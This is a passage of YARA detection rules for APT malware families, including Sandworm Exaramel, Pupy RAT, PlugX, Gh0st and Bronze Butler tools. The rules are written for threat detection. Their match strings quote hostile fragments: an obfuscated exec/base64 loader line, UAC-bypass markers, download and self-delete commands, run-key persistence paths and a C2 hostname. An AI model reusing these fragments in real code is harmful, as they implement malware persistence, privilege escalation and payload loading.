		description = "Detects names of the tasks received from the CC server in Exaramel malware"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "185f2f3b-bf5c-54af-bca2-400d08bf9c91"

	strings:
		$ = "App.Delete"
		$ = "App.SetServer"
		$ = "App.SetProxy"
		$ = "App.SetTimeout"
		$ = "App.Update"
		$ = "IO.ReadFile"
		$ = "IO.WriteFile"
		$ = "OS.ShellExecute"

	condition:
		all of them
}

rule APT_MAL_Sandworm_Exaramel_Struct
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects the beginning of type _type struct for some of the most important structs in Exaramel malware"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "8282e485-966c-554d-8e41-70dc1657f5ea"

	strings:
		$struct_le_config = {70 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 47 2d 28 42 0? [2] 19}
		$struct_le_worker = {30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 46 6a 13 e2 0? [2] 19}
		$struct_le_client = {20 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 7b 6a 49 84 0? [2] 19}
		$struct_le_report = {30 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 bf 35 0d f9 0? [2] 19}
		$struct_le_task = {50 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 88 60 a1 c5 0? [2] 19}

	condition:
		any of them
}

rule APT_MAL_Sandworm_Exaramel_Strings_Typo
{
	meta:
		author = "FR/ANSSI/SDO"
		description = "Detects misc strings in Exaramel malware with typos"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "fdc79b87-eb9e-5751-9474-ff653b073165"

	strings:
		$typo1 = "/sbin/init | awk "
		$typo2 = "Syslog service for monitoring \n"
		$typo3 = "Error.Can't update app! Not enough update archive."
		$typo4 = ":\"metod\""

	condition:
		3 of ( $typo* )
}

rule APT_MAL_Sandworm_Exaramel_Strings
{
	meta:
		author = "FR/ANSSI/SDO (composed from 4 saparate rules by Florian Roth)"
		description = "Detects Strings used by Exaramel malware"
		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
		date = "2021-02-15"
		score = 80
		id = "fdc79b87-eb9e-5751-9474-ff653b073165"

	strings:
		$persistence1 = "systemd"
		$persistence2 = "upstart"
		$persistence3 = "systemV"
		$persistence4 = "freebsd rc"
		$report1 = "systemdupdate.rep"
		$report2 = "upstartupdate.rep"
		$report3 = "remove.rep"
		$url1 = "/tasks.get/"
		$url2 = "/time.get/"
		$url3 = "/time.set"
		$url4 = "/tasks.report"
		$url5 = "/attachment.get/"
		$url6 = "/auth/app"

	condition:
		(5 of ( $url* ) and all of ( $persistence* ) ) or ( all of ( $persistence* ) and all of ( $report* ) ) or ( 5 of ( $url* ) and all of ( $report* ) )
}

rule Fidelis_Advisory_Purchase_Order_pps
{
	meta:
		description = "Detects a string found in a malicious document named Purchase_Order.pps"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ZjJyti"
		date = "2015-06-09"
		id = "205c4cda-6874-5455-8eb9-b63fb09b13fd"

	strings:
		$s0 = "Users\\Gozie\\Desktop\\Purchase-Order.gif" ascii

	condition:
		all of them
}

rule Fidelis_Advisory_cedt370
{
	meta:
		description = "Detects a string found in memory of malware cedt370r(3).exe"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/ZjJyti"
		date = "2015-06-09"
		id = "b5ebf2d7-e3e4-5b3b-a082-417da9c7fda6"

	strings:
		$s0 = "PO.exe" ascii fullword
		$s1 = "Important.exe" ascii fullword
		$s2 = "&username=" ascii fullword
		$s3 = "Browsers.txt" ascii fullword

	condition:
		all of them
}

rule APT_PupyRAT_PY
{
	meta:
		description = "Detects Pupy RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
		date = "2017-02-17"
		hash1 = "8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71"
		id = "cdd689e3-437e-514d-a058-fad80ce0639e"

	strings:
		$x1 = "reflective_inject_dll" fullword ascii
		$x2 = "ImportError: pupy builtin module not found !" fullword ascii
		$x3 = "please start pupy from either it's exe stub or it's reflective DLLR;" fullword ascii
		$x4 = "[INJECT] inject_dll." fullword ascii
		$x5 = "import base64,zlib;exec zlib.decompress(base64.b64decode('eJzzcQz1c/ZwDbJVT87Py0tNLlHnAgA56wXS'))" fullword ascii
		$op1 = { 8b 42 0c 8b 78 14 89 5c 24 18 89 7c 24 14 3b fd }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20000KB and 1 of them ) or ( 2 of them )
}

rule APT_MagicHound_MalMacro
{
	meta:
		description = "Detects malicious macro / powershell in Office document"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
		date = "2017-02-17"
		super_rule = 1
		hash1 = "66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b"
		hash2 = "e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6"
		id = "ad573f52-dbda-5852-ad73-9ef47dd6e7df"

	strings:
		$s1 = "powershell.exe " fullword ascii
		$s2 = "CommandButton1_Click" fullword ascii
		$s3 = "URLDownloadToFile" fullword ascii

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 8000KB and all of them )
}

rule Codoso_PlugX_3
{
	meta:
		description = "Detects Codoso APT PlugX Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "74e1e83ac69e45a3bee78ac2fac00f9e897f281ea75ed179737e9b6fe39971e3"
		id = "55066812-3a8e-5099-afb4-ff7a59f1ccb2"

	strings:
		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
		$s2 = "mcs.exe" fullword ascii
		$s3 = "McAltLib.dll" fullword ascii
		$s4 = "WinRAR self-extracting archive" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1200KB and all of them
}

rule Codoso_PlugX_2
{
	meta:
		description = "Detects Codoso APT PlugX Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "b9510e4484fa7e3034228337768176fce822162ad819539c6ca3631deac043eb"
		id = "0402a0ff-5664-52db-a739-51c5181853f8"

	strings:
		$s1 = "%TEMP%\\HID" fullword wide
		$s2 = "%s\\hid.dll" fullword wide
		$s3 = "%s\\SOUNDMAN.exe" fullword wide
		$s4 = "\"%s\\SOUNDMAN.exe\" %d %d" fullword wide
		$s5 = "%s\\HID.dllx" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 3 of them ) or all of them
}

rule Codoso_CustomTCP_4
{
	meta:
		description = "Detects Codoso APT CustomTCP Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash1 = "ea67d76e9d2e9ce3a8e5f80ff9be8f17b2cd5b1212153fdf36833497d9c060c0"
		hash2 = "130abb54112dd47284fdb169ff276f61f2b69d80ac0a9eac52200506f147b5f8"
		hash3 = "3ea6b2b51050fe7c07e2cf9fa232de6a602aa5eff66a2e997b25785f7cf50daa"
		hash4 = "02cf5c244aebaca6195f45029c1e37b22495609be7bdfcfcd79b0c91eac44a13"
		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"

	strings:
		$x1 = "varus_service_x86.dll" fullword ascii
		$s1 = "/s %s /p %d /st %d /rt %d" fullword ascii
		$s2 = "net start %%1" fullword ascii
		$s3 = "ping 127.1 > nul" fullword ascii
		$s4 = "McInitMISPAlertEx" fullword ascii
		$s5 = "sc start %%1" fullword ascii
		$s6 = "net stop %%1" fullword ascii
		$s7 = "WorkerRun" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 5 of them ) or ( $x1 and 2 of ( $s* ) )
}

rule Codoso_CustomTCP_3
{
	meta:
		description = "Detects Codoso APT CustomTCP Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "d66106ec2e743dae1d71b60a602ca713b93077f56a47045f4fc9143aa3957090"
		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"

	strings:
		$s1 = "DnsApi.dll" fullword ascii
		$s2 = "softWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\%s" ascii
		$s3 = "CONNECT %s:%d hTTP/1.1" ascii
		$s4 = "CONNECT %s:%d HTTp/1.1" ascii
		$s5 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)" ascii
		$s6 = "iphlpapi.dll" ascii
		$s7 = "%systemroot%\\Web\\" ascii
		$s8 = "Proxy-Authorization: Negotiate %s" ascii
		$s9 = "CLSID\\{%s}\\InprocServer32" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 5 of them ) or 7 of them
}

rule Codoso_CustomTCP_2
{
	meta:
		description = "Detects Codoso APT CustomTCP Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "3577845d71ae995762d4a8f43b21ada49d809f95c127b770aff00ae0b64264a3"
		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"

	strings:
		$s1 = "varus_service_x86.dll" fullword ascii
		$s2 = "/s %s /p %d /st %d /rt %d" fullword ascii
		$s3 = "net start %%1" fullword ascii
		$s4 = "ping 127.1 > nul" fullword ascii
		$s5 = "McInitMISPAlertEx" fullword ascii
		$s6 = "sc start %%1" fullword ascii
		$s7 = "B_WKNDNSK^" fullword ascii
		$s8 = "net stop %%1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 406KB and all of them
}

rule Codoso_PGV_PVID_6
{
	meta:
		description = "Detects Codoso APT PGV_PVID Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "4b16f6e8414d4192d0286b273b254fa1bd633f5d3d07ceebd03dfdfc32d0f17f"
		id = "6d1d8490-fdcb-5263-ae00-0b436e822fc3"

	strings:
		$s0 = "rundll32 \"%s\",%s" fullword ascii
		$s1 = "/c ping 127.%d & del \"%s\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6000KB and all of them
}

rule Codoso_Gh0st_3
{
	meta:
		description = "Detects Codoso APT Gh0st Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "bf52ca4d4077ae7e840cf6cd11fdec0bb5be890ddd5687af5cfa581c8c015fcd"
		id = "55fb17c5-ee11-55be-9af3-e9fe8d6160b5"

	strings:
		$x1 = "RunMeByDLL32" fullword ascii
		$s1 = "svchost.dll" fullword wide
		$s2 = "server.dll" fullword ascii
		$s3 = "Copyright ? 2008" fullword wide
		$s4 = "testsupdate33" fullword ascii
		$s5 = "Device Protect Application" fullword wide
		$s6 = "MSVCP60.DLL" fullword ascii
		$s7 = "mail-news.eicp.net" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 195KB and $x1 or 4 of them
}

rule Codoso_Gh0st_2
{
	meta:
		description = "Detects Codoso APT Gh0st Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
		id = "5643d028-2a76-5bce-bf2f-8be706ab1fd5"

	strings:
		$s0 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
		$s1 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
		$s13 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
		$s14 = "%s -r debug 1" fullword ascii
		$s15 = "\\\\.\\keymmdrv1" fullword ascii
		$s17 = "RunMeByDLL32" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 1 of them
}

rule Codoso_CustomTCP
{
	meta:
		description = "Codoso CustomTCP Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		hash = "b95d7f56a686a05398198d317c805924c36f3abacbb1b9e3f590ec0d59f845d8"
		id = "b6ed6939-db0c-5a47-8839-3337d1bc1f6c"

	strings:
		$s4 = "wnyglw" fullword ascii
		$s5 = "WorkerRun" fullword ascii
		$s7 = "boazdcd" fullword ascii
		$s8 = "wayflw" fullword ascii
		$s9 = "CODETABL" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 405KB and all of them
}

rule Codoso_PGV_PVID_5
{
	meta:
		description = "Detects Codoso APT PGV PVID Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		super_rule = 1
		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
		hash2 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
		id = "0202d82c-c1f8-59f7-96b6-b21f21c1dc69"

	strings:
		$s1 = "/c del %s >> NUL" fullword ascii
		$s2 = "%s%s.manifest" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and all of them
}

rule Codoso_Gh0st_1
{
	meta:
		description = "Detects Codoso APT Gh0st Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		super_rule = 1
		hash1 = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
		hash2 = "7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8"
		hash3 = "d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297"
		id = "24d9e64c-4b35-5737-92ae-8ec391d494c7"

	strings:
		$x1 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
		$x2 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
		$x3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
		$x4 = "\\\\.\\keymmdrv1" fullword ascii
		$s1 = "spideragent.exe" fullword ascii
		$s2 = "AVGIDSAgent.exe" fullword ascii
		$s3 = "kavsvc.exe" fullword ascii
		$s4 = "mspaint.exe" fullword ascii
		$s5 = "kav.exe" fullword ascii
		$s6 = "avp.exe" fullword ascii
		$s7 = "NAV.exe" fullword ascii
		$c1 = "Elevation:Administrator!new:" wide
		$c2 = "Global\\RUNDLL32EXITEVENT_NAME{12845-8654-543}" fullword ascii
		$c3 = "\\sysprep\\sysprep.exe" wide
		$c4 = "\\sysprep\\CRYPTBASE.dll" wide
		$c5 = "Global\\TERMINATEEVENT_NAME{12845-8654-542}" fullword ascii
		$c6 = "ConsentPromptBehaviorAdmin" fullword ascii
		$c7 = "\\sysprep" wide
		$c8 = "Global\\UN{5FFC0C8B-8BE5-49d5-B9F2-BCDC8976EE10}" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 4 of ( $s* ) or 4 of ( $c* ) ) or 1 of ( $x* ) or 6 of ( $c* )
}

rule Codoso_PGV_PVID_4
{
	meta:
		description = "Detects Codoso APT PlugX Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		super_rule = 1
		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
		hash2 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
		hash3 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
		hash4 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
		hash5 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
		id = "c1c753a6-77b6-5bfb-89f9-16127c264fd0"

	strings:
		$x1 = "dropper, Version 1.0" fullword wide
		$x2 = "dropper" fullword wide
		$x3 = "DROPPER" fullword wide
		$x4 = "About dropper" fullword wide
		$s1 = "Microsoft Windows Manager Utility" fullword wide
		$s2 = "SYSTEM\\CurrentControlSet\\Services\\" ascii
		$s3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify" fullword ascii
		$s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii
		$s5 = "<supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"></supportedOS>" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 2 of ( $x* ) and 2 of ( $s* )
}

rule Codoso_PlugX_1
{
	meta:
		description = "Detects Codoso APT PlugX Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		super_rule = 1
		hash1 = "0b8cbc9b4761ab35acce2aa12ba2c0a283afd596b565705514fd802c8b1e144b"
		hash2 = "448711bd3f689ceebb736d25253233ac244d48cb766834b8f974c2e9d4b462e8"
		hash3 = "fd22547497ce52049083092429eeff0599d0b11fe61186e91c91e1f76b518fe2"
		id = "af777818-5cff-5571-b5e9-0f5a4c8b08ff"

	strings:
		$s1 = "GETPASSWORD1" fullword ascii
		$s2 = "NvSmartMax.dll" fullword ascii
		$s3 = "LICENSEDLG" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them
}

rule Codoso_PGV_PVID_3
{
	meta:
		description = "Detects Codoso APT PGV PVID Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		super_rule = 1
		hash1 = "126fbdcfed1dfb31865d4b18db2fb963f49df838bf66922fea0c37e06666aee1"
		hash2 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
		hash3 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
		hash4 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
		hash5 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
		hash6 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
		id = "08003dba-1201-5f74-9edd-ea321bb26e99"

	strings:
		$x1 = "Copyright (C) Microsoft Corporation.  All rights reserved.(C) 2012" fullword wide

	condition:
		$x1
}

rule Codoso_PGV_PVID_2
{
	meta:
		description = "Detects Codoso APT PGV PVID Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		super_rule = 1
		hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
		hash2 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
		hash3 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
		id = "e4c00806-3092-5ec2-844f-b638c31fa6a5"

	strings:
		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
		$s1 = "regsvr32.exe /s \"%s\"" fullword ascii
		$s2 = "Help and Support" fullword ascii
		$s3 = "netsvcs" fullword ascii
		$s9 = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" fullword ascii
		$s10 = "winlogon" fullword ascii
		$s11 = "System\\CurrentControlSet\\Services" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 907KB and all of them
}

rule Codoso_PGV_PVID_1
{
	meta:
		description = "Detects Codoso APT PGV PVID Malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
		date = "2016-01-30"
		super_rule = 1
		hash1 = "41a936b0d1fd90dffb2f6d0bcaf4ad0536f93ca7591f7b75b0cd1af8804d0824"
		hash2 = "58334eb7fed37e3104d8235d918aa5b7856f33ea52a74cf90a5ef5542a404ac3"
		hash3 = "934b87ddceabb2063b5e5bc4f964628fe0c63b63bb2346b105ece19915384fc7"
		hash4 = "ce91ea20aa2e6af79508dd0a40ab0981f463b4d2714de55e66d228c579578266"
		hash5 = "e770a298ae819bba1c70d0c9a2e02e4680d3cdba22d558d21caaa74e3970adf1"
		id = "9487773a-01d9-558e-8866-b8a8650996ba"

	strings:
		$x1 = "DRIVERS\\ipinip.sys" fullword wide
		$s1 = "TsWorkSpaces.dll" fullword ascii
		$s2 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
		$s3 = "/selfservice/microsites/search.php?%016I64d" fullword ascii
		$s4 = "/solutions/company-size/smb/index.htm?%016I64d" fullword ascii
		$s5 = "Microsoft Chart ActiveX Control" fullword wide
		$s6 = "MSChartCtrl.ocx" fullword wide
		$s7 = "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword ascii
		$s8 = "WUServiceMain" fullword ascii
		$s9 = "Cookie: pgv_pvid=" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or 3 of them ) ) or 5 of them
}

rule BronzeButler_Daserf_Delphi_1
{
	meta:
		description = "Detects malware / hacktool sample from Bronze Butler incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
		date = "2017-10-14"
		hash1 = "89a80ca92600af64eb9c32cab4e936c7d675cf815424d72438973e2d6788ef64"
		hash2 = "b1bd03cd12638f44d9ace271f65645e7f9b707f86e9bcf790e0e5a96b755556b"
		hash3 = "22e1965154bdb91dd281f0e86c8be96bf1f9a1e5fe93c60a1d30b79c0c0f0d43"
		id = "88372e62-3bba-58dc-825c-f35533e42825"

	strings:
		$s1 = "Services.exe" fullword ascii
		$s2 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
		$s3 = "l32.dll" fullword ascii
		$s4 = "tProcess:" fullword ascii
		$s5 = " InjectPr" ascii
		$s6 = "Write$Error creating variant or safe array\x1fInvalid argument to time encode" fullword wide
		$s7 = "on\\run /v " fullword ascii
		$s8 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\run" fullword ascii
		$s9 = "ms1ng2d3d2.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 3 of them )
}

import "pe"

rule BronzeButler_Daserf_C_1
{
	meta:
		description = "Detects malware / hacktool sample from Bronze Butler incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
		date = "2017-10-14"
		hash1 = "a4afd9df1b4cc014c3a89d7b4a560fa3e368b02286c42841762714b23e68cc05"
		hash2 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
		hash3 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
		hash4 = "b1fdc6dc330e78a66757b77cc67a0e9931b777cd7af9f839911eecb74c04420a"
		hash5 = "15abe7b1355cd35375de6dde57608f6d3481755fdc9e71d2bfc7c7288db4cd92"
		hash6 = "85544d2bcaf8e6ca32bbc0a9e9583c9db1dce837043f555a7ff66363d5858439"
		hash7 = "2dc24622c1e91642a21a64c0dd31cbe953e8f77bd3d6abcf2c4676c3b11bb162"
		hash8 = "2bdb88fa24cffba240b60416835189c76a9920b6c3f6e09c3c4b171c2f57031c"
		id = "62a5cc4a-7c58-5e4d-ac23-8d1f850a540a"

	strings:
		$s1 = "(c) 2010 DYAMAR EnGineerinG, All rights reserved, http://www.dyamar.com." fullword ascii
		$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)" fullword ascii
		$a1 = "ndkkwqgcm" fullword ascii
		$a2 = "RtlGetCo" fullword ascii
		$a3 = "hutils" fullword ascii
		$b1 = "%USERPROFILE%\\System" fullword ascii
		$b2 = "msid.dat" fullword ascii
		$b3 = "DRIVE_REMOTE" fullword wide
		$b4 = "%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
		$b5 = "jcbhe.asp" fullword ascii
		$b6 = "edset.asp" fullword ascii
		$b7 = "bxcve.asp" fullword ascii
		$b8 = "hcvery.php" fullword ascii
		$b9 = "ynhkef.php" fullword ascii
		$b10 = "dkgwey.php" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "088382f4887e3b2c4bd5157f2d72b618" or all of ( $a* ) or 4 of them )
}

rule BronzeButler_DGet_1
{
	meta:
		description = "Detects malware / hacktool sample from Bronze Butler incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
		date = "2017-10-14"
		hash1 = "bd81521445639aaa5e3bcb5ece94f73feda3a91880a34a01f92639f8640251d6"
		id = "d60fcc9f-0f17-5871-9e8e-71d26e2f46bc"

	strings:
		$s2 = "DGet Tool Made by XZ" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 10KB and 1 of them )
}

rule BronzeButler_UACBypass_1
{
	meta:
		description = "Detects malware / hacktool sample from Bronze Butler incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
		date = "2017-10-14"
		hash1 = "fe06b99a0287e2b2d9f7faffbda3a4b328ecc05eab56a3e730cfc99de803b192"
		id = "01853352-58fc-56a3-8c20-08405c71e251"

	strings:
		$x1 = "\\Release\\BypassUacDll.pdb" ascii
		$x2 = "%programfiles%internet exploreriexplore.exe" fullword wide
		$x3 = "Elevation:Administrator!new:{3ad055" fullword wide
		$x4 = "BypassUac.pdb" fullword ascii
		$x5 = "[bypassUAC] started X64" fullword wide
		$x6 = "[bypassUAC] started X86" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of them )
}

rule BronzeButler_xxmm_1
{
	meta:
		description = "Detects malware / hacktool sample from Bronze Butler incident"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
		date = "2017-10-14"
		hash1 = "7197de18bc5a4c854334ff979f3e4dafa16f43d7bf91edfe46f03e6cc88f7b73"
		id = "0e413e3a-fb61-58bc-9ecb-4ef76e83a7f3"

	strings:
		$x1 = "\\Release\\ReflectivLoader.pdb" ascii
		$x3 = "\\Projects\\xxmm2\\Release\\" ascii
